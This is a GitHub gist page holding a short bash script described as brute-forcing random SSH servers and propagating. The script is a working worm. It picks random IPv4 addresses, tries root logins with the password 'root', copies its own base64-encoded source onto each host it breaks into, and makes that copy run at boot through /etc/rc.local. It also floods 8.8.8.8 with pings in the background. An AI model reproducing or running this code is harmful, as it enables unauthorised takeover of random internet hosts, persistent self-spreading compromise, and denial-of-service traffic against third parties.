Created
November 15, 2017 07:03
-
-
Save oxagast/031d3a68583c0bfbb93618e875ad3d6a to your computer and use it in GitHub Desktop.
Bruteforce random SSH servers and propogate.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
dnf install tor torsocks expect -y; apt-get install tor torsocks expect build-essential -y; systemctl start tor & | |
werm=$(cat $0 | base64 -w 0); | |
pound='8.8.8.8'; | |
while [ 1 ]; | |
do | |
ip_address=$(dd if=/dev/urandom bs=4 count=1 2>/dev/null | od -An -tu1 | sed -e 's/^ *//' -e 's/ */./g') | |
ping $pound -f -c 10000 & | |
wget $pound & | |
servers_addresses=( $ip_address ) | |
for server_address in ${servers_addresses[@]}; do | |
expect <<EOF | |
set passwds { root } | |
set i 0 | |
spawn ssh -o "StrictHostKeyChecking no" -t root@$server_address "echo $werm | base64 -d > /etc/rc.worts; echo \"/etc/rc.worts\" > /etc/rc.local; chmod u+rwx /etc/rc.local; chmod u+rwx /etc/rc.worts; /etc/rc.worts" | |
expect { | |
"s password:" { send "[lindex \$passwds \$i]\r"; incr i; exp_continue } | |
eof | |
} | |
EOF | |
done | |
done |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment